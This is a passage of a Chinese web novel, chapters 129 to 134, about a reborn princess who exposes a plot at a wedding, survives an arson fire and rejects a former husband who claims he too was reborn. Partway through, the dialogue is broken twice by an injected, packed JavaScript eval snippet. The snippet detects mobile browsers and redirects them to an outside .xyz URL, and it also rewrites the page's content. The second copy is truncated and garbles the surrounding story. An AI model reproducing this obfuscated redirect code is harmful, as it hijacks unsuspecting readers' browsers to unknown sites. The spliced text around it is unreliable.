容太尉的脸色更是难看,顾及身份隐忍未发。 乔楹月不理会大家的目光,扭头问楚怀。 “将画像给本宫瞧瞧。” 第一百二十九章画像有诡 乔楹月仔细打量这画像,随后抬头对楚怀说道:“你仔细说说进容府以后都发生了什么。” 楚怀知道乔楹月的身份,成亲之前也好多次听见容明月称赞她是个好人,他知道乔楹月此番肯定是好意。 传言这位公主不仅心善,头脑还格外的聪明,或许真的能帮到他。 “进来容府以后我跟着喜婆来到明月的闺房前,容府的亲朋在堵门,我只能想办法从后窗进去。 我来到屋后时遇到了容二小姐,二小姐告诉我有一条进入明月闺房的捷径,她可以带我去。 我信以为真,跟着容二小姐却来到一间无人的屋子,随后……” 楚怀忽然难以启齿,但还是如实说了出来。 “容二小姐忽然碰掉了桌上的水盆,打湿了衣裳,她受到惊吓扭了脚,撞到我身上,还说让我抱她去榻上歇息。” 此言一出,宾客们倒抽冷气。 倘若事实当真如此,那这位容二小姐的人品肯定不像表面看起来那么高洁! 可事实真是如此吗? 而容明月和唐毓秀这对母女几乎是在瞬间,便相信了楚怀所言。 因为容旖纾本就是个不堪的小蹄子!这种事儿很符合她的作风! 容明月恨死了容旖纾,但比起对容旖纾的恨,她更加在意楚怀对容旖纾的态度。 “后来呢?” 容旖纾故意弄湿衣裳,又扭脚撞到他的身上,那楚怀有没有顺势与她发生什么呢? 容明月一瞬不瞬的盯着楚怀,便见他毫不犹豫的否认。 “我立刻推开了她!再后来发生了什么我是真的不记得了。” 容明月流泪道:“我信你。” 然而她刚说完这三个字,容旖纾便悲痛的跪了下去。 “爹,原本我不想争辩什么,但现在看到妹妹被坏人欺骗,我是在忍不住了! 我根本没有见过楚公子,更没有做过他所说难得这些事儿! 爹,这位楚公子满口谎言,绝非良人,您千万不能让妹妹嫁给这种人!” 这一番话正义凛然,活生生是一个长期被嫡女欺压的庶女,不计前嫌的为嫡妹着想。 在场的宾客全都被感动了,看向容明月的目光便格外的不满。 甚至连带唐毓秀这个素有贤惠之名的主母也有了微词。 若非这位主母纵容,容三小姐岂会养成如今这般卑劣的品性。 唐毓秀看见众人的目光后心里堵的慌,想争辩,又看见容旖纾跪在地上,那可怜兮兮的模样让她很清楚,她现在说什么都是错,说什么都会被外人戳脊梁骨。 可若任由事态继续下去,她这当家主母的位置岌岌可危,明月的声誉也会就此毁掉,将来怕是说不到好的亲事了。 在唐毓秀着急时,容旖纾又用那张楚楚可怜的脸火上浇油。 “今日这事儿往小了说是挑拨姐妹情深,往大了说是挑拨整个容府。 一个府宅一旦内讧,都不需要外人攻讦,自己便会慢慢败落。 爹,您三思!” 容明月最看不得她这幅虚伪样子,气极了骂道。 “你少在这儿装可怜!我知道这件事儿是你做的,你诬陷楚怀挑拨容府的关系,害容府败落,依我看,挑拨容府关系的人是你,害容府败落的也是你!” “明月,你睁开眼睛看看吧!这盛京爱慕的公子比他优秀的有的是,我能和你争吗?我是真的担心你啊!” “我呸!虚伪的狐狸精!坏人!” 容明月一脸怨恨,态度咄咄逼人,容旖纾满脸善良,态度委曲求全。 两相对比,孰对孰错,容太尉心中已经有了答案。 “明月,够了!平时爹纵着你便罢了,如今大庭广众你应该收起你的小姐脾气!你现在向你姐姐道歉!” 容明月气哭,“爹……” “道歉!” “老爷……” “你闭嘴!” 容明月见父亲态度坚决,下意识看向了乔楹月。 方才乔楹月一直在画像上细细查看,这会儿察觉到容明月的目光,便将画像朝容太尉递了过去。 “容太尉仔细闻闻这画像。” 容太尉眼下瞧着乔楹月这个‘搅屎棍’十分不爽,但碍着皇家颜面,还是接过来,敷衍的嗅了一下。 “正常的味道,怀宁公主有什么问题?” “容大人太敷衍了,您仔细闻闻。” 见她表情认真,容太尉便耐着性子仔细在画像上闻了几下,还真的闻到一点淡淡的怪味。 像是…… “药味儿,是不是?” 见容太尉面露思索,乔楹月精准的说了出来。 容太尉恍然点头:“正是药味儿!难道……”画像上被人下了药! 就是因为画像上被下药了,这药会让人失去当时的记忆,所以楚怀才会说不出个所以然来? 容太尉是个聪明人,这一刻立刻有了猜测。 若猜测属实,便证明今日是有人害他。 他必须查清凶手,还容府一个清白! “来人,去请府医来!” 不一会儿府医被请了过来。 容太尉将画像递过去。 “检查一下这画像上的药味是怎么回事!” 府医仔细查看起来。 容旖纾已经站了起来,看见太医的动作,脸色慢慢变白。 乔楹月唇角浮现冷笑。 不一会儿,府医大声禀报容太尉。 “回禀大人!这画像上被人下了一种迷药!这种迷药会让人短暂的失去神志,不过药效持续的时间不会太长,眼下这迷药已经失效了!” “迷药?”容明月一脸惊疑,立刻看向容旖纾,“肯定是你下的!” 这次容明月也学聪明了,她不等容旖纾说话,立刻问那位柳小姐。 “柳小姐确定一直跟她在一起?” 知道画像上有迷药,在场的宾客都明白其中有古怪,也都猜到楚怀估计真是被人给算计了。 柳小姐自然也想到这一点,顿时惊疑不定起来,听得容明月询问,她仔仔细细的回想,还真想起来了。 “好像中途她离开过一会儿。” 容明月不满意这个答案。 柳小姐立刻询问其他小姐,这些小姐纷纷点头。 “确实离开了一会儿,回来后衣裳便换了!” “换衣裳了?看来多半是她了!” …… 容明月听到大家议论,内心狂喜,可算让她抓到容旖纾的狐狸尾巴了! 第一百三十章婚礼完成 “爹,您自己听见了,这事儿就是她做的!”容明月激动的向容太尉告状。 到这会儿了,容太尉还是不太相信这个听话的庶女会做这种事儿,他扭头看向容旖纾,脸色难看至极。 可他还是不太相信背后做这一切的是这个庶女。 自从容旖纾回京以后,他在容明月这个蠢女身上丢的脸,都被这个乖巧的庶女挣了回来。 如今这个庶女在容太尉的心中比容明月这个嫡女还要重要。 以这庶女的才情,将来的夫婿身份肯定不会差。 倘若真是她所为,对于容府而言是巨大的损失。 这些考量只是在脑中一闪而过,容太尉便做好了决定。 不能再查了,容旖纾的名声不能毁。 “这件事儿肯定另有隐情,但明月的吉时不能误,这件事儿回头再查,先将婚礼完成。” 唐毓秀一听这话就知道自家丈夫的心思,他不想继续追究了。 这叫她如何能甘心! 她眼珠一转,悄悄在容明月耳边说了一句话。 容明月忽然跪在了容太尉面前,哭着请求容太尉。 “爹!女儿今日丢尽了脸面,将来在这盛京城内也抬不起头了,这婚女儿不成了,女儿要去水月庵削发为尼!” 若是容明月真去削发为尼,那容府的脸面就算真的丢在地上,捡都捡不起来了。 容太尉被这话气的不轻,立刻将小丫头拉起来,斥道:“胡言乱语些什么!楚怀是个良人,你们好好成亲!” 容明月哭着说道:“楚怀是好人,可我不是,我成亲的大日子都有人能够害我,往后我身上只会麻烦不断!” 楚怀有些着急,柔声宽慰她:“我会帮你解决麻烦!” “可你自己今日都差点成了罪人,若非怀宁公主提点,我便也将你连累得声名狼藉了!楚怀,我是个大麻烦,我们别成亲了!” 她这幅伤心绝望的模样刺痛了楚怀的心,他坚定的保证:“我只是没想到今日会有事端,我不是蠢人,明月,你相信我。” 容明月却一脸坚持,听不进去半分。 楚怀伤心的红了眼。 堂堂七尺男儿在众人面前差点掉泪,可想而知心中有多难受。 俗话说的好,宁拆十座桥,不拆一桩婚。 宾客们这会儿全都不落忍,对于容太尉的态度,宾客们也能猜到几分,无非是家丑不想外扬。 可再遮下去这对有情人就要散了。 便有人劝说容太尉。 “两个孩子能结为夫妻不简单,容太尉还是应该考虑全面一些。” “是啊,三小姐太委屈了。” …… 这下容太尉就算不愿追究也不得不追究。 他当即质问容旖纾。 “你老实说,这件事儿是不是你做的?” 容旖纾一脸茫然的跪下,拉着容太尉的衣摆哭着摇头。 “爹,女儿真的什么都没有做啊!” 容明月刚要质问她为何换衣裳,话到嘴边立刻换了一种语气。 “我知道姐姐肯定没做这种事儿,爹,这事儿是我自己做的,我自己恨自己,所以我要毁掉自己的婚礼,爹,我是个恶人,您将我送去水月庵做尼姑吧!” 她的脸上是和容旖纾一模一样的楚楚可怜,她的声音颤抖哽咽,犹如风雨之中摇摆的花骨朵。 宾客们忍不住心生怜悯,同时对容旖纾便添了怨气。 容太尉亦是如此,他狠狠踹开容旖纾,吩咐下人:“二小姐行为不端,将她带下去关入柴房!” 下人立刻入内,将容旖纾带走。 容明月总算扬眉吐气了一回! 婚礼顺利进行。 容明月被楚怀牵着送入花轿时忽然转身走到了乔楹月的面前,将头上的红宝石发簪簪入她的发间。 “希望公主也早日寻得自己的如意郎君。” 花轿渐渐远并着丝竹声远去,热闹也一点点远去,容府忽然空了一般的安静。 唐毓秀哭得‘呜咽’出声,哽咽的和乔楹月感叹。 “她的姐姐嫁的远,这些年就是明月陪着我,如今这丫头也嫁了,我这心啊,太难受了。” 乔楹月安慰:“好在三小姐嫁的近,隔三差五便能回家陪容夫人说话。” 唐毓秀欣慰的点头。 乔楹月乘坐马车回了府,她将头上的红宝石发簪取下来,放在手中轻轻抚摸,唇角扬起无奈的笑。 她或许一辈子都不会像容明月那样,寻得一个可以全心托付的男子。 发簪被放入梳妆台珍藏了起来。 这厢。 容太尉来到柴房见容旖纾,看着这个自己曾经寄予厚望的女儿,他感到无比的失望。 “爹实在想不通,你为何做这种事儿?我们是一家人,你妹妹的名声毁了,你也无法独善其身。 旖纾,你到底是怎么想的?” 容旖纾跪在容太尉面前,用力的摇头。 “爹,真不是女儿做的……” “你还要狡辩!” 容旖纾一脸坚持:“爹,女儿没道理做这些事儿啊,您自己都知道其中有问题,这些事儿对女儿一点儿好处都没有的,除非女儿不是容府血脉,才有可能做这些。 爹,女儿今日是来了月事,衣裳弄脏了才会换衣,却被有心人发现,暗中利用,使得我们容家人生了嫌隙,让外人看了笑话。” 她的表情诚恳极了,容太尉阅人无数,却无法从中发现半点问题, 仔细琢磨容旖纾这番话,也觉得十分有道理。 容太尉的脸色缓和几分,叹气道:“今日是冤枉你了,你好好在这儿待几日,等你娘和你妹妹的气消了,爹便放你出来。” 半个月后的一个下午。 乔楹月正在听何掌柜禀报新铺子的情况,红豆忽然进来禀报。 “公主,秦拂郁求见。” “赶走。” “是。” 何掌柜眸色微闪,从公主府离开后又去见了沈砚。 在禀报了乔楹月的金铺情况以后,顺便将秦拂郁求见的事儿说了。 沈砚的表情很冷。 入夜。 乔楹月躺下休息,睡到迷迷糊糊之际,忽然被红豆慌张的摇醒。 “公主!走水了! 走水? 乔楹月猛地清醒,‘唰’地坐起来,就见窗外红色光影摇晃着,敞开的大门口火光冲天,热浪燎着黑烟往屋内冲。 第一百三十一章也重生了 秦拂郁蹲在公主府对面的暗巷之中,看见公主府冲天的火光,眼睛一亮,立刻施展轻功跳入府中。 这会儿暗卫全都赶往走水之处,公主府的防卫十分薄弱。 府中这会儿乱成一团,下人们端着水桶快速朝着火光的方向跑着。 “公主还在屋子里没逃出来,大家快些灭火!” 秦拂郁的心情既紧张又激动,他屏住呼吸快速来到流光阁。 只见偌大的院子全部被大火笼罩。 他随手抢了一人的水盆,兜头泼在自己的身上,毫不犹豫的冲入火海之中。 火光熊熊,热浪如炙。 秦拂郁凭感觉来到内室,朝着里头呼喊。 “公主!拂郁来救公主了!公主您出个声儿!” 然而回应他的只有劈啪作响的燃烧声。 这会儿火太旺,即便不被火烧到,也会很快就被烤熟。 秦拂郁快速在屋里搜寻一圈,却没寻到乔楹月的身影。 大火已经烧了许多地方,或许她已经被烧死在哪个角落了? 温度实在太高,秦拂郁不得不退出来。 他刚在外面站定,便听见有人在大哭。 “公主!您没受伤可太好了!” 他立刻循着声音看过去,便见乔楹月站在火光之下。 她的模样有些狼狈,但神态却依旧高贵。 公主没事! 可是公主还没等他来救就已经安全了。 秦拂郁抿唇看向乔楹月身边,便见那个叫林酒的侍卫恭敬的站在她的身边,林酒的身上非常狼狈,明显是他从火海将乔楹月救出来的。 除了林酒以外,在乔楹月的身后还有一片乌压压的暗卫,漆黑的衣裳和夜色融为一体,只有眸子泛着寒光。 这会儿这些人全都单膝跪在地上,等着他们的主子惩罚。 这些卑微的身影便衬得这天地间只有那道高贵身影存在。 秦拂郁瞧着那道身影,忽然明白了一件事儿。 如今的乔楹月早已不是那个需要人保护的小姑娘,她有能力有权利,是一个强大的女子。 而他,妄想着靠英雄救美来再次获得她的放心,简直可笑至极。 秦拂郁苦笑,却不想放弃,他抬脚朝着乔楹月走去,却有一道身影抢先越过他,站在了乔楹月的面前。 是沈砚。 他站在乔楹月的面前,关切的问她:“公主可有受伤?” 乔楹月仰着脸回答他:“本宫无事。只是这宅子烧毁了又得花银子重修,本宫肉疼。” 沈砚清冷的面上露出笑意:“微臣的钱财虽然不及公主,但这点修房子的钱财却不缺,这房子微臣替公主修了。” “这可是沈大人自己提的!” 乔楹月像是生怕沈砚反悔,脸上带着几分俏皮,还有几分隐藏极深的信赖。 沈砚宠溺的笑着。 这样的两个人站在一起,气质是强强联合,简直是天造地设的一对。 秦拂郁忽然不敢上前,他后退几步,转身离去。 经过这么一番折腾,乔楹月有些累了,沈砚提出帮她处理这一大堆的烂摊子,她拒绝了。 琐碎之事有人帮忙处理自然是好事。 但太过依赖旁人会失去自我,一旦没了自我,生活上的任何风吹草动都能让人寸步难行。 沈砚离开以后,乔楹月吩咐林酒一番,便重新洗漱歇下。 次日。 乔楹月用早膳时谢烬弦领着皇命前来慰问一番。 谢烬弦前脚离开姬南萱就来了。 姬南萱还没走,宁烽又来了。 好不容易送走这两人,文墨甲风风火火冲进来。 “公主可查到这大火是谁放的?” 昨夜大火气势特别快,乔楹月也觉得奇怪。 可把手公主府的暗卫并未察觉异常。 在大火扑灭以后,林酒也搜查了火灾之地,并未发现任何古怪。 看样子应该是自然着火。 可乔楹月却笃定,这火肯定是人为的。 能做到这般无声无息,看来又是那背后之人。 背后之人入公主府简直如入无人之境,想杀她轻而易举,却偏偏不杀她,实在让她费解。 这些事儿乔楹月自己都想不明白,文墨甲一个武将,本就不聪明,知道了只会更想不明白,与其让他跟着担惊受怕,不如不告诉他。 “是一场意外,舅舅放心吧。” 文墨甲立刻就信了,松了一口气。 在文墨甲离开以后,容明月撇开自己的新婚夫君,独自前来探望。 乔楹月和她说了会儿话,容明月见她没什么事儿彻底放下心来,说起了自己想要买些料子做衣裳。 昨晚那场大火几乎烧光了乔楹月的衣裳,她也要置办一些,便同她一起出府。 来到盛京最好的布料坊,容明月兴致勃勃的帮乔楹月挑选。 她的眼光很好,每一匹料子都好看,乔楹月便全都要了。 只是这些料子好看是好看,却没有让她格外喜欢的。 乔楹月想到那天蚕纱出了栀子花的样子,据说是什么新出的工艺,是印染上去的,十分漂亮。 她便问那伙计。 “栀子花样子的天蚕纱还有吗?” 伙计一脸惋惜,“最后一匹刚刚被人买走了。” 乔楹月有些失望,却也并未放在心上。 便在这时,有人将一匹天蚕纱的料子送到了眼前。 “没想到公主和拂郁的眼光一样,君子不夺人所好,这匹料子便送给公主。” 乔楹月的脸色立刻冷下去,抬眼看向端着布料的男人,眼底浮起寒芒。 “费了这么多心思,你便说说,你又想求什么?” 今早林酒向她禀报,昨晚大火时秦拂郁前来,冲入大火中寻找过她。 乔楹月清楚秦拂郁的德行,所为之事皆有目的。 他借着剿匪的由头走出了大牢,便立刻到她面前献殷勤,所谋的,怕是自己那驸马的位置。 昨日拒绝了他的求见,她就知道此人肯定不会放弃。 眼下能提前买下这匹天蚕纱,必定是跟了她一路,这一路他能避开林酒的察觉,怕是还有那背后人出手。 昨晚的大火,肯定也有他的份儿。 是想英雄救美再次博得她的好感? 可笑! 秦拂郁看见小姑娘眼底的讽刺,他的心忍不住刺痛,无尽的忏悔堵在喉咙,化成苦涩蔓延心间。 他深深看着乔楹月,用只有两个人能听见的声音说道。 “我也重生了。” 乔楹月的面色陡然变了。 第一百三十二章他吃醋了 “你在说什么?” 重生之事连舅舅都未告知,乔楹月自然不可能让秦拂郁诈出来。 这会儿她面色镇定,古怪的盯着他,像是完全听不懂他说什么一般。 秦拂郁缓缓笑了,低声道:“此事非同小可,拂郁想和公主单独说话。” 乔楹月抿唇片刻,道:“好。” 随后乔楹月同容明月说道:“本宫有些事儿,你在这儿等一会儿,本宫很快回来。” 在秦拂郁出现时容明月便脸色不好看,看见乔楹月对他的态度很冷淡,她又放心了。 可下一刻秦拂郁只是低声对她说了一句话,她便要与他单独离开。 公主莫不是还对此人有感情? 眼见乔楹月和秦拂郁一道离开,容明月哪儿还有心情买什么不了,立刻丢下布料去了沈砚的私宅。 这会儿沈砚正在处理事务,听闻容明月求见,马上明白她的来意。 将人请到小厅,听闻容明月说完了前因后果,沈砚客气的向她道谢,并亲自送她离开。 察觉到沈砚对比从前热情多了,容明月的心情有些激动。 看来沈砚真的很喜欢公主,自己是做对了。 那个秦拂郁无论模样家世还是人品都不及沈砚,就算给公主做个暖床男人都不够格,还是沈砚般配些! 这厢。 乔楹月和秦拂郁来到茶楼,进入雅间。 不想重生之事闹得人尽皆知,乔楹月便将红豆遣到了雅间外等候。 这会儿雅间之内就只有她和秦拂郁两人。 秦拂郁所说的重生与她的重生是不是一回事呢? 乔楹月慢悠悠喝了一口茶,放下茶杯后看向秦拂郁。 “你到底想与本宫说什么?” 秦拂郁诚恳道:“拂郁和公主一样是重生之人,也正是因为重生了,拂郁才知道自己前世错的有多离谱……” 听见这番话,乔楹月便确定,他口中的重生便是自己想的那样! 原来能重生的不止她一个。 前世秦拂郁活的比她长久,知道的事情肯定比她多,如今他来自己面前告知重生之事,是否另有原因? 心头猜测重重,乔楹月面上不显,沉声问道:“哦?本宫倒是第一次听说什么重生,很是稀奇。” 秦拂郁苦笑:“公主莫要装了,拂郁重生后将公主的种种变化稍微一想,就明白了一切。” 看来这重生之事是瞒不住了。 既然如此,索性摊开了问个清楚。 “前世是你杀了本宫,秦拂郁,你怎么还有脸来本宫说这些?” 熟料秦拂郁竟然十分委屈。 “公主误会了,杀死公主的并非拂郁,而是……” “谁?” “那人的身份拂郁不能说,一旦拂郁说了,公主也会有危险。” “你不说本宫便能安全?” “比现在安全。” 乔楹月敛眸,纤长的睫毛遮住了所有情绪。 秦拂郁顿了顿,软声说道:“前世我的结局也不好,公主死后沈砚像条疯狗一样追着我咬,后来我被他逼得身败名裂,落了个家破人亡的下场!” 前世之事对秦拂郁而言犹如昨日发生,历历在目。 不过很快这份愤怒便都变成释然消失了。 “我知道,沈砚一直喜欢公主,认定是我害**公主,他在帮公主报仇,这份心我很敬重,说起来,他确实十分深情,公主去世后他一夜间白了头……” 乔楹月的心狠狠痛了一下。 原来前世沈砚为她做了这么多。 秦拂郁连这些都知道,那肯定也知道她重生的原因。 但此人卑劣,若是直接询问肯定听不到真话。 “你重生是颜倾柔的帮助?” 秦拂郁冷着脸摇头:“我失去一切以后她第一个抛弃我,转身嫁给了别人!” 随后他深情的望着她忏悔。 “人只有落魄时才能知道谁对自己最好,我饿死时才彻底明白,这世上只有公主是真心真意待我好!” 若是前世听到这番感恩之言,乔楹月肯定会心花怒放。 可如今,她只觉得可笑。 非常可笑。 她并未反驳什么,而是静静看着秦拂郁的神情模样。 秦拂郁的眼圈泛着红,深深回望她。 “重生后我便发誓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370147|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一世换我来对公主好!” 前世的种种尘埃落定,秦拂郁带着忏悔重生,他对乔楹月的复杂感情浓烈至极,眼下这句话说出口时不禁落下眼泪。 这一次他是诚恳的,他是真的想要对乔楹月好。 而乔楹月看着他的眼泪,无动于衷。 秦拂郁有些急:“公主不信我?” 乔楹点头:“不信。” “要我如何公主才能相信我的真心?” “你告诉本宫,你是谁帮你重生。” 秦拂郁却露出一脸茫然:“前世我落魄以后无家可归,没有人愿意收留我,我非常想念公主,便出城来到公主坟前,我想和公主死在一起,后来我咽气时紧紧抱着公主的坟堆,等我再睁眼时就重生了。” 乔楹月深深蹙眉。 这种东西竟然死在了自己的坟头。 晦气! 不过这也证明,他的重生是因为她的坟堆。 看来她重生的原因就在自己的坟墓之中! 眼下能从秦拂郁口中得到的也只有这些了。 乔楹月不想多留,起身就走。 秦拂郁望着她的背影大声保证。 “我会让公主回心转意的!” 乔楹月走下台阶来到一楼,正要离去,却瞧见大堂正中坐着一道熟悉的身影。 她微微挑眉,笑着走过去,背着手问道:“沈大人好雅兴。” 沈砚放下茶杯,站起来行礼,随后一本正经的说道:“没想到这么巧,竟会在这儿遇到公主。” 这睁眼说瞎话的本事让乔楹月佩服,她不想过多解释,便也并不揭穿,直到: “正好本宫要新开一家金铺,沈大人在这方面有心得,可否赏脸虽本宫回府详聊?” “微臣荣幸之至。” 出了茶楼,沈砚又睁眼说瞎话。 “微臣的马车坏了,只能坐公主的。” 乔楹月被他逗笑,笑着允了。 沈砚彬彬有礼的扶她上马车,自己随**内,直接坐在了她的身侧。 乔楹月扭头正想说话,便被他圈住脖子吻了上来。 带着醋意的吻,霸道热烈,酥软入骨。 第一百三十三章要二选一 秦拂郁通过雅间的窗户看见沈砚进了乔楹月的马车,心中又酸涩又无奈。 不过他并未难过太久。 感情不可能轻易消失,乔楹月前世能喜欢他,现在还是会喜欢他。 是前世他所做的事儿太过寒心,沈砚这卑鄙之人又总是在她面前献殷勤,才让她一时迷失了本心。 他半点不怕乔楹月知道沈砚的心思,更不怕乔楹月知道前世里沈砚的付出,因为他笃定,只要他稍微出手,乔楹月的心便会回到他的身上。 当天晚上,秦拂郁来到了城南沈砚的私宅。 沈砚对此倒并不意外。 他的人一直暗中跟着秦拂郁,传回来的消息让他察觉此人性情大变。 从前是个软饭男,如今是个努力的软饭男。 眼下能够跟乔楹月亲近的只有自己,这个软饭男有危机感,找上门来挑衅很正常。 对此沈砚不仅不生气,反而有些得意。 “请到小厅。”他冷淡吩咐。 沈匆将秦拂郁请到了小厅,却并未奉上茶水。 秦拂郁冷哼。 不一会儿沈砚进入小厅,坐在了主位上,淡淡看向他。 “秦公子见本官有何事?” 秦拂郁笑道:“沈大人应当很清楚才是。” 沈砚点头:“吃醋了。” “是,”重生之前,秦拂郁咬死不会承认,重生后他巴不得乔楹月知道他的感情,“不过我知道,公主只是一时迷失,最终还是会回到我这里。” 沈砚挑眉,“确定?” “沈大人可敢和我赌一把?” “你没资格。” 这四个字没有半点意气用事,而是实事求是。 沈砚很有底气。 这一点让秦拂郁很不爽。 是谁给他的底气? 公主吗? 此人没有半分自知之明! 秦拂郁压了压火,压低声音在沈砚耳边说了一句话,只见沈砚的面色翛然阴沉,狠狠掐住了他的喉咙。 向来斯文清冷的脸上这会儿透着狠绝。 “你在找死!” 秦拂郁像是有恃无恐,重新问他:“沈大人可敢和我赌一把。” 沈砚薄唇紧抿,手指加重力道,秦拂郁的脖颈传来轻响,即将被掐断。 即便心中再是有恃无恐,秦拂郁的内心也慌乱起来,他抓住沈砚的手用力挣扎。 可他越挣扎那只手就越紧。 恐怖的窒息将他笼罩,他的眼前逐渐黑暗,仿佛又回到了前世咽气的那一刻。 他害怕了! 他想求饶…… 可他必须赌这一把! 否则这重新开始的人生一样是个死局! 秦拂郁要紧牙关,宁死不肯求饶。 最终沈砚丢开他,冷声丢出一个字:“行。” 秦拂郁离开以后,沈砚立刻派出沈匆去办一件重要的事儿,这是沈匆头一次在自家主子身上感受到恐慌。 他不禁疑惑。 那秦拂郁到底和主子说了什么? 这厢。 秦拂郁回到客栈,他剿匪有功,得到了朝廷的一点赏银,足够住几日客栈。 东山的土匪被抓的差不多了,倘若这些土匪就此收敛,不再出来危害百姓,他这个抓匪的棋子定然又要重新回到大牢之中。 他的时间不多,必须尽快让乔楹月看清自己的内心。 次日下午。 乔楹月刚小睡起来,林酒慌慌张张跑进来禀报。 “公主!沈大人被秦拂郁给算计了!” 初听时乔楹月不相信,直到林酒认真的重复了一次,她才相信这事儿是真的。 她疑惑的问道:“怎么回事?” 林酒着急的道:“属下听从您的吩咐派了暗卫跟踪秦拂郁,昨日傍晚,秦拂郁去见了沈大人,今日中午,沈大人和秦拂郁一起出城去了。 等到属下追过去时便发现沈大人被吊在了悬崖边上!” “什么?!”乔楹月‘唰’地站起来,“沈匆没将人救下来?” 林酒摇头:“周围没瞧见沈匆的身影,属下怀疑是秦拂郁用调虎离山骗走了沈匆,沈大人落单之下遭了秦拂郁的毒手!” 乔楹月觉得这个猜测不可能。 沈砚的身手在大周都是数一数二的,即便沈匆不在身边秦拂郁也奈何不了他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370148|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何况如今的秦拂郁只有孤身一人,就更是伤不到他一根汗**了。 那就只有一个可能。 背后人出手了! “带本宫去找他!” 为了快些赶到地方,乔楹月直接骑了马,可她不会骑马,便只能让林酒带着她。 她坐在林酒身后,马儿风驰电掣的出了城,朝着东山的方向而去。 东山地势险峻,山上各方土匪盘踞。 乔楹月知道秦拂郁在此处剿过匪,不禁猜测是不是他跟土匪勾结坑害沈砚。 这一路上她心神不宁。 一个时辰后马儿停在东山的山脚下。 乔楹月下马时腿被颠麻了,扶着林酒的手才不至于摔倒。 山路不平,等她爬到事发的半山腰时已是傍晚,漫天的晚霞落在陡峭的山崖上。 山崖边有一棵歪脖子树,乔楹月一眼看见沈砚腰上系着绳子,整个人在悬崖上空晃荡。 崖底吹上来的寒风将他的衣裳吹得翻飞,他的脸色泛着白。 乔楹月忽然觉得心疼。 那样单薄的一个人,被寒风吹得直打转,像任人宰割的羔羊,好可怜! 这一刻乔楹月忘了沈砚高强的武功,更忘了这根绳子在他手中犹如蝉翼,他想要弄断绳子跳回崖上轻而易举。 乔楹月抽了林酒的长剑,快步走到沈砚面前,一边去割绳子一边吩咐林酒。 “你要将人接住。” 林酒知道沈砚会武,估摸着沈砚和崖上的距离,想要在绳子断裂的瞬间跳上来,这对一个会武的人而言不难。 可看见乔楹月脸都是白的,他根本没时间思考,整装待发的守在旁边准备将人接住。 乔楹月正要割绳子时旁边忽然传来秦拂郁的声音。 “这绳子只要削断一头,另外一头的人便会掉下山崖!” 乔楹月这才发现歪脖子树上还有个秦拂郁,他的腰上也系着绳子,和沈砚是同一根,两人的绳子挂在树杈上,重量将树杈压得上下弹动。 见乔楹月在看自己,秦拂郁温柔的朝她笑:“公主今日只能救一个,另外一个一定会掉下山崖。 公主,您会救谁?” 第一百三十四章羞辱到底 乔楹月收回长剑,走向了秦拂郁。 秦拂郁心情狂喜! 方才乔楹月赶到时先朝着沈砚走过去,看沈砚得意的样子,肯定以为自己在她心中最重要。 实际上是因为乔楹月没看见他。 沈砚固然对乔楹月重要,但当他出现时沈砚就什么都不是了! 秦拂郁得意的看向沈砚,笑盈盈道:“沈大人,我唔……” 乔楹月忽然拔剑在秦拂郁胸口捅了一下。 她的力气小,剑尖刺入并不深,但尽管如此也将秦拂郁疼的浑身冒冷汗。 他用手捂住胸口,鲜血从指缝流出来,脸上充满了不可置信。 “是不是山崖太高,公主恐高不敢睁眼,刺错了人?” 乔楹月狠狠朝她翻一个白眼:“本宫刺的就是你。” 秦拂郁不死心:“不可能,我不相信你会这么对我,公主是不是还是在恨我?” “本宫不会恨你。” 秦拂郁刚要高兴,便听到小姑娘极其冷漠的吐出一句。 “有爱才有恨,本宫自然不会恨你,本宫是单纯的鄙夷、蔑视你。” “不可能!” 前世爱的那样浓烈,怎会说不爱就不爱,她一定还在闹脾气! “公主可还记得我们一同逛元宵灯会,我猜对了灯谜,赢得一个八角花灯送给公主,公主当时笑得格外开心。 我们在星空下乘坐画舫,河面上飘荡的花灯见证了公主对我的感情! 我们在深夜中缠绵,公主紧紧搂着我时,我能够感受到公主全部的爱意……公主,求您不要再说气话了!” 前世乔楹月确实和秦拂郁逛过元宵灯会,那时他们还未成亲,秦拂郁对她的态度十分亲近。 他们乘坐画舫时乔楹月甚至觉得自己就是世上最幸福的人。 后来他们成亲了,秦拂郁的态度一夜之间改变。 每到夜里他便会借口离开,留下她自己一夜一夜独守空房。 那时她只以为他不行,为了不伤害他男子的自尊心,打听到一味可以激发男人欲望的药。 她将这味药悄悄下在他的茶水之中,喝药的他果然‘好’了起来。 可等她将自己脱得只剩下肚兜了,下人忽然敲门,说颜倾柔受伤了。 已经被药激发欲望的男人就那样推开她,头也不回的离去。 她穿着肚兜跌坐在床上,自尊碎了一地…… 沈砚定定看着乔楹月,便见她并未否认秦拂郁所说的一切,甚至脸上露出复杂情绪,像是伤心,又像是释怀。 看来秦拂郁所说并无虚言。 乔楹月没注意沈砚的表情,她看着挂在崖上的秦拂郁,想着前世自己的那些付出,觉得格外可笑。 不过如今那些曾折磨得她痛苦不堪的事儿,已不再能激起她半点情绪。 看见秦拂郁时内心不再有任何波动,即便眼下他做出一副深情的模样,在她看来像个跳梁小丑一般可笑。 她也实在有些好奇。 “秦拂郁,你文不成武不就,模样不上不下,家世在这盛京城内更是排不上号,本宫实在好奇,是什么给了你这么大的自信?” 秦拂郁感觉自己受到了莫大的侮辱! “公主这些话是不是太过分了?” 